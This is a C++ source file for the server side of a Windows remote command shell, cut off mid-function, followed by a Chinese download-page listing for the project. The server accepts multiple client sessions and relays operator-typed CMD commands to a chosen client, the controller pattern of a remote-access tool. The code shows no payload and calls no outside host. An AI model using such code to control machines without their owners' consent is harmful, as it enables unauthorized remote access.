#include "stdafx.h"
#include "CSever.h"
CSever::~CSever()
{
}
CSever* CSever::serverptr;
CSever::CSever(int PORT, bool BroadcastPublically)
{
WSAData wsaData;
WORD DllVersion = MAKEWORD(2, 2);
if (WSAStartup(DllVersion, &wsaData) != 0)
{
MessageBoxA(NULL, "WinSock startup failed", "Error", MB_OK | MB_ICONERROR);
exit(1);
}
if (BroadcastPublically)
addr.sin_addr.s_addr = htonl(INADDR_ANY);
else
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(PORT);
addr.sin_family = AF_INET;
sListen = socket(AF_INET, SOCK_STREAM, NULL);
if (bind(sListen, (SOCKADDR*)&addr, sizeof(addr)) == SOCKET_ERROR)
{
std::string ErrorMsg = "Failed to bind the address to our listening socket. Winsock Error:" + std::to_string(WSAGetLastError());
MessageBoxA(NULL, ErrorMsg.c_str(), "Error", MB_OK | MB_ICONERROR);
exit(1);
}
if (listen(sListen, SOMAXCONN) == SOCKET_ERROR)
{
std::string ErrorMsg = "Failed to listen on listening socket. Winsock Error:" + std::to_string(WSAGetLastError());
MessageBoxA(NULL, ErrorMsg.c_str(), "Error", MB_OK | MB_ICONERROR);
exit(1);
}
serverptr = this;
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)PacketSenderThread, NULL, NULL, NULL);
}
void CSever::ListenForNewConnection()
{
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ListenerThread, NULL, NULL, NULL);
}
void CSever::HandleInput()
{
std::string userinput;
int inputInt;
currentSessionID = -1;
while (true)
{
std::getline(std::cin, userinput);
if (currentSessionID == -1)
{
if (CData::processParameter(userinput, "connect"))
{
inputInt = atoi(userinput.c_str());
int tempInt = connections.size() - 1;
if (inputInt > tempInt)
CData::outputMsg("Session doesn't exist.", 2);
else
{
currentSessionID = inputInt;
CData::outputMsg("Connected to Session " + std::to_string(currentSessionID), 1);
}
inputInt = 0;
userinput.empty();
}
else
CData::outputMsg("Please connect to a session with 'connect'", 2);
}
else
{
if (userinput == "exitSession")
{
CData::outputMsg("Exited Session " + std::to_string(currentSessionID), 1);
currentSessionID = -1;
}
else if (userinput.find("remoteControl") != std::string::npos)
{
CData::cmdMode = !CData::cmdMode;
SendString(currentSessionID, userinput, PacketType::Instruction);
}
else if (CData::cmdMode)
{
SendString(currentSessionID, userinput, PacketType::CMDCommand);
}
else
{
SendString(currentSessionID, userinput, PacketType::Instruction);
}
}
}
}
bool CSever::ProcessPacket(int ID, PacketType _packettype)
{
switch (_packettype)
{
case PacketType::Instruction:
{
std::string message;
if (!GetString(ID, message))
return false;
CData::outputMsg("ID [" + std::to_string(ID) + "]: " + message, 1);
break;
}
case PacketType::CMDCommand:
{
std::string message;
if (!GetString(ID, message))
return false;
CData::outputMsg(message, 3);
break;
}
case PacketType::Warning:
{
std::string message;
if (!GetString(ID, message))
CData::outputMsg("ID [" + std::to_string(ID) + "]: " + message, 2);
break;
}
default:
{
std::cout << "Unrecognized packet: " << (int32_t)_packettype << std::endl;
break;
}
}
return true;
}
void CSever::ClientHandlerThread(int ID)
{
PacketType packettype;
while (true)
{
if (!serverptr->GetPacketType(ID, packettype))
break;
if (!serverptr->ProcessPacket(ID, packettype))
break;
}
std::cout << "Lost connection to client ID: " << ID << std::endl;
serverptr->DisconnectClient(ID);
return;
}
void CSever::PacketSenderThread()
{
while (true)
{
for (size_t i = 0; i < serverptr->connections.size(); i++)
{
if (serverptr->connections[i]->pm.HasPendingPackets())
{
CPacket p = serverptr->connections[i]->pm.Retrieve();
if (!serverptr->sendall(i, p.buffer, p.size))
{
std::cout << "Failed to send packet to ID: " << i << std::endl;
}
delete p.buffer;
}
}
Sleep(5);
}
}
void CSever::ListenerThread()
{
while (true)
{
SOCKET newConnectionSocket = accept(serverptr->sListen, (SOCKADDR*)&serverptr->addr, &serverptr->addrlen); //Accept a new connection
if (newConnectionSocket == 0) //If accepting the client connection failed
{
std::cout << "Failed to accept the client's connection." << std::endl;
}
else //If client connection properly accepted
{
std::lock_guard<std::mutex> lock(serverptr->connectionMgr_mutex);
int NewConnectionID = serverptr->connections.size();
if (serverptr->UnusedConnections > 0)
{
for (size_t i = 0; i < serverptr->connections.size(); i++)
{
if (serverptr->connections[i]->ActiveConnection == false)
{
serverptr->connections[i]->socket = newConnectionSocket;
serverptr->connections[i]->ActiveConnection = true;
NewConnectionID = i;
serverptr->UnusedConnections -= 1;
break;
}
}
}
else //add new connection to the socket
{
std::shared_ptr<Connection> newConnection(new Connection(newConnectionSocket));
serverptr->connections.push_back(newConnection);
}
std::cout << "Client Connected! ID:" << NewConnectionID << " | IP: " << inet_ntoa(serverptr->addr.sin_addr) << std::endl;
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ClientHandlerThread, (LPVOID)(NewConnectionID), NULL, NULL);
}
}
}
void CSever::DisconnectClient(int ID)
{
currentSessionID = -1;
std::lock_guard<std::mutex> lock(connectionMgr_mutex);
if (connections[ID]->ActiveConnection == false)
{
return;
}
connections[ID]->pm.Clear();
connections[ID]->ActiveConnection = false;
closesocket(connections[ID]->socket);
if (ID == (connections.size() - 1))
{
connections.pop_back();
for (size_t i = connections.size() - 1; i >= 0 && connections.size() > 0; i--)
{
if (connections[i]->ActiveConnection)
break;
connections.pop_back();
UnusedConnections -= 1;
}
}
else
{
UnusedConnections += 1;
}
}
bool CSever::recvall(int ID, char * data, int totalbytes)
{
int bytesreceived = 0;
while (bytesreceived < totalbytes)
{
int RetnCheck = recv(connections[ID]->socket, data, totalbytes - bytesreceived, NULL);
if (RetnCheck == SOCKET_ERROR)
return false;
bytesreceived += RetnCheck;
}
return true;
}
bool CSever::sendall(int ID, char * data, int totalbytes)
{
int bytessent = 0;
while (bytessent < totalbytes)
{
int RetnCheck = send(connections[ID]->socket, data + bytessent, totalbytes - bytessent, NULL);
if (RetnCheck == SOCKET_ERROR)
return false;
bytessent += RetnCheck;
}
return true;
}
bool CSever::Sendint32_t(int ID, int32_t _int32_t)
{
_int32_t = htonl(_int32_t);
if (!sendall(ID, (char*)&_int32_t, sizeof(int32_t))) //Try to send long (4 byte int)
return false;
return true;
}
bool CSever::Getint32_t(int ID, int32_t & _int32_t)
{
if (!recvall(ID, (char*)&_int32_t, sizeof(int32_t)))
return false;
_int32_t = ntohl(_int32_t);
return true;
}
bool CSever::SendPacketType(int ID, PacketType _packettype)
{
if (!Sendint32_t(ID, (int32_t)_packettype))
return false;
return true;
}
//Try to receive packet type
bool CSever::GetPacketType(int ID, PacketType & _packettype)
{
int packettype;
if (!Getint32_t(ID, packettype))
return false;
_packettype = (PacketType)packettype;
return true;
}
void CSever::SendString(int ID, std::string & _string, PacketType _packettype)
{
PS::Message message(_string);
if (ID == -2)
{
for (int i = 0; i < connections.size(); i++)
{
connections[i]->pm.Append(message.toPacket(_packettype));
}
}
else
connections[ID]->pm.Append(message.toPacket(_packettype));
}
bool CSever::GetStrin
没有合适的资源?快使用搜索试试~ 我知道了~
支持ftp命令的远程cmd
共29个文件
cpp:10个
h:10个
vcxproj:2个
3星 · 超过75%的资源 需积分: 24 28 下载量 172 浏览量
2018-01-25
09:25:44
上传
评论
收藏 2.19MB RAR 举报
温馨提示
一个支持ftp命令的简单远程cmd,可做扩展,解决了cmd管道嵌套的问题
资源推荐
资源详情
资源评论
收起资源包目录
cmdProject.rar (29个子文件)
cmdProject
cmdProject.sln 2KB
.vs
cmdProject
v15
ipch
.suo 50KB
Sever
x64
Debug
Sever.tlog
CPacket.h 653B
CPacket.cpp 1KB
CSever.h 1KB
stdafx.h 366B
CData.h 274B
targetver.h 370B
Sever.cpp 596B
Sever.vcxproj 8KB
stdafx.cpp 312B
CSever.cpp 8KB
CData.cpp 885B
Sever.vcxproj.filters 2KB
cmdProject
x64
Debug
cmdProject.tlog
cmdProject.vcxproj 8KB
cmdProject.cpp 734B
stdafx.h 364B
targetver.h 370B
cmdProject.vcxproj.filters 2KB
CMD.h 580B
General.h 430B
Debug
cmdProject.tlog
stdafx.cpp 322B
General.cpp 3KB
Client.cpp 4KB
CMD.cpp 3KB
Client.h 944B
Bin
DemoTest.mp4 3.31MB
cmdProject.exe 123KB
Sever.exe 187KB
共 29 条
- 1
资源评论
- weixin_446581102019-02-15可以编译通过
- 冰冷血脉2020-03-25一个支持ftp命令的简单远程cmd
- ohyeah5212021-04-23无用代码,无法实现交互式shell
ireader135
- 粉丝: 15
- 资源: 1
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功